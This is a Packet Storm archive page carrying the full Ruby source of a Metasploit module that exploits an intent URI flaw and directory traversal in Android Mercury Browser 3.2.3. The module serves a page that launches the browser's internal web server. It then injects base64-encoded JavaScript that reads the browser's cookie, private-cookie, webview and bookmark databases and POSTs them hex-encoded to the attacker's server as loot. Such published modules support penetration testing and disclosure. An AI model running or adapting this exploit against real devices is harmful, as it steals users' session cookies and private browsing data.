what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Android Mercury Browser Intent URI Scheme And Directory Traversal

Android Mercury Browser Intent URI Scheme And Directory Traversal
Posted Aug 31, 2024
Authored by sinn3r, joev, rotlogix | Site metasploit.com

This Metasploit module exploits an unsafe intent URI scheme and directory traversal found in Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a private wifi manager activity, which starts a web server for Mercury on port 8888. The webserver also suffers a directory traversal that allows remote access to sensitive files. By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db, webview.db, and bookmarks.db. But if this isnt enough, you can also specify the ADDITIONAL_FILES datastore option to collect more files.

tags | exploit, remote, web
SHA-256 | 42c6caf8a1093e6428f263ebc0ed216930afb756d1796e8f552f46a3d7e1ee90

Android Mercury Browser Intent URI Scheme And Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability',
'Description' => %q{
This module exploits an unsafe intent URI scheme and directory traversal found in
Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a
private wifi manager activity, which starts a web server for Mercury on port 8888.
The webserver also suffers a directory traversal that allows remote access to
sensitive files.

By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db,
webview.db, and bookmarks.db. But if this isn't enough, you can also specify the
ADDITIONAL_FILES datastore option to collect more files.
},
'Author' =>
[
'rotlogix', # Vuln discovery, PoC, etc
'sinn3r',
'joev'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ],
[ 'URL', 'https://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/' ]
]
))

register_options(
[
OptString.new('ADDITIONAL_FILES', [false, 'Additional files to steal from the device'])
])
end

def is_android?(user_agent)
user_agent.include?('Android')
end

def get_html
%Q|
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<script>
location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
setTimeout(function() {
location.href="intent:#Intent;S.load=javascript:eval(atob('#{Rex::Text.encode_base64(uxss)}'));SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.social.common.SimpleWebViewActivity;end";
}, 500);
</script>
</body>
</html>
|
end

def backend_url
proto = (datastore['SSL'] ? 'https' : 'http')
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

"#{proto}://#{my_host}#{port_str}#{resource}/catch"
end

def uxss
%Q|
function exploit() {
history.replaceState({},{},'/storage/emulated/0/Download/');
var urls = #{JSON.generate(file_urls)};
urls.forEach(function(url) {
var x = new XMLHttpRequest();
x.open('GET', '/dodownload?fname=../../../..'+url);
x.responseType = 'arraybuffer';
x.send();
x.onload = function(){
var buff = new Uint8Array(x.response);
var hex = Array.prototype.map.call(buff, function(d) {
var c = d.toString(16);
return (c.length < 2) ? 0+c : c;
}).join('');
var send = new XMLHttpRequest();
send.open('POST', '#{backend_url}/'+encodeURIComponent(url.replace(/.*\\//,'')));
send.setRequestHeader('Content-type', 'text/plain');
send.send(hex);
};
});
}

var q = window.open('https://localhost:8888/','x');
q.onload = function(){ q.eval('('+exploit.toString()+')()'); };
|
end

def file_urls
files = [
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db',
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db',
'/data/data/com.ilegendsoft.mercury/databases/webview.db',
'/data/data/com.ilegendsoft.mercury/databases/bookmarks.db'
]

if datastore['ADDITIONAL_FILES']
files.concat(datastore['ADDITIONAL_FILES'].split)
end

files
end

def on_request_uri(cli, req)
print_status("Requesting: #{req.uri}")

unless is_android?(req.headers['User-Agent'])
print_error('Target is not Android')
send_not_found(cli)
return
end

if req.method =~ /post/i
if req.body
filename = File.basename(req.uri) || 'file'
output = store_loot(
filename, 'text/plain', cli.peerhost, hex2bin(req.body), filename, 'Android mercury browser file'
)
print_good("Stored #{req.body.bytes.length} bytes to #{output}")
end

return
end

print_status('Sending HTML...')
html = get_html
send_response_html(cli, html)
end

def hex2bin(hex)
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
end


def run
exploit
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close